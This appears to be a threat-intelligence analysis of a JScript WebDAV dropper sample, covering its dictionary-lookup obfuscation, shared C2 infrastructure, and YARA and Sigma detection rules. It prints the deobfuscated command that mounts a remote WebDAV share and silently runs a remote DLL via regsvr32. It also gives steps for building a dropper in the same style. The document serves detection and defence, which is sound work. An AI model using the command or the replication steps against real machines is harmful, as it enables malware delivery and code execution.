unclassified-js-webdav-dropper: fa7e181d — eighth confirmed sibling, dictionary dialect on 45.9.74.36:8888

Executive Summary

A 4.7 KB JScript dropper using dictionary-based character-lookup obfuscation to assemble a WScript.Shell.run() call that mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. Eighth confirmed sibling of the unclassified-js-webdav-dropper family. Notable for bridging the dictionary-obfuscation dialect (previously tied to dailywebstats.com) with the 45.9.74.36:8888 C2 infrastructure shared by six batch-obfuscation siblings.

What It Is

How It Works

The script opens with a 36-entry associative array nawsoskw mapping random 6–24 character keys to single printable characters (a-z, 0-9, space, backslash, dot, @, &, /) ^[strings.txt:1-35].

A fake try{whxg();}catch(atwmrmgbg){...} block wraps the payload. whxg is undefined, guaranteeing entry into the catch clause — a gating idiom also seen in sibling e6ebae6a (which used uzdjzsuqjxofr).

Inside the catch, the script builds the command string via Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](cmd, 0, false):

cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32238313189311.dll

The 0 and false arguments to .run() suppress the window and set non-blocking execution ^[strings.txt:37].

Decompiled Behavior

Not applicable — this is a plaintext JScript file with no compiled payload. Static inspection of strings.txt is sufficient.

C2 Infrastructure

The IP 45.9.74.36 and port 8888 match the C2 of six batch-obfuscation siblings (ffd5d894, e9e82d14, f170f5a9, ed6b2cd3, and two others) ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]. This is the first time the dictionary-lookup dialect has been observed against that same infrastructure, suggesting a single operator rotates obfuscation engines across a stable backend.

Interesting Tidbits

• Dictionary size: Only 36 entries (vs. 62 in sibling e6ebae6a), covering just the characters needed for this specific command. Minimalist, not exhaustive.
• Key length: Ranges from 4 (kusy) to 24 (jrisgzwfhrrferbiudr) characters. No pattern — pure noise.
• No PowerShell wrapper: Unlike e6ebae6a, this sample calls cmd /k directly through WScript.Shell.run(). No -EncodedCommand or -WindowStyle Hidden indirection.
• No wordpad decoy: The batch siblings launch wordpad after payload execution to maintain user illusion; this JS variant does not.
• No sandbox gate: No connectivity checks, no process-list enumeration, no VM detection. Runs on first open.

How To Mess With It (Homelab Replication)

1. Generate a dictionary-obfuscated JS dropper matching this dialect:
   • Create 30–40 random keys mapping to the exact characters needed for your command.
   • Wrap in try{fake();}catch(e){...}.
   • Use Function('return this')()['WScript']['Shell']['run'](cmd, 0, false).
2. Host a benign test DLL on a local WebDAV server (see webdav-regsvr32-dll-sideloading reproduction notes).
3. Run on a Windows VM by double-clicking the .js file.
4. Verify: wscript.exe → cmd.exe → net.exe → regsvr32.exe with UNC path.

Deployable Signatures

YARA

rule JS_WebDAV_Dropper_Dictionary_Lookup : script dropper {
    meta:
        description = "JScript WebDAV dropper with dictionary char-lookup obfuscation"
        author = "PacketPursuit"
        reference = "fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7"
    strings:
        $a = /\w+\[\'[a-z]{4,24}\'\]=\'[a-z0-9]\';/
        $b = "Function(''+"
        $c = "'WScript'"
        $d = /net use \\\\[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}@8888\\DavWWWRoot/
        $e = "regsvr32 /s"
    condition:
        filesize < 10KB and
        #a > 25 and
        $b and ($c or $d or $e)
}

Behavioral Hunt Query (Sigma)

title: WebDAV Regsvr32 from JScript Parent
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains:
      - 'regsvr32'
      - 'DavWWWRoot'
  condition: selection
falsepositives:
  - Unlikely in enterprise environments
level: high

IOC List

Detection Signatures (capa → ATT&CK)

Not applicable — capa does not support script files. ATT&CK mapping derived from static deobfuscation:

References

• Artifact ID: c20442f7-2b21-4522-80a7-b1693478cd03
• Family entity: unclassified-js-webdav-dropper
• Technique: js-dictionary-char-lookup-obfuscation
• Technique: webdav-regsvr32-dll-sideloading
• Sibling analysis (same C2, batch dialect): ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4
• Sibling analysis (same obfuscation dialect): e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89

Provenance

• file.txt — file(1) output
• strings.txt — full script content (decoded inline)
• metadata.json — OpenCTI artifact metadata
• ssdeep.txt — fuzzy hash
• yara.txt — empty YARA match set
• dynamic-analysis.md — CAPE skip notice (not a binary)
• Manual deobfuscation via Python regex substitution against dictionary entries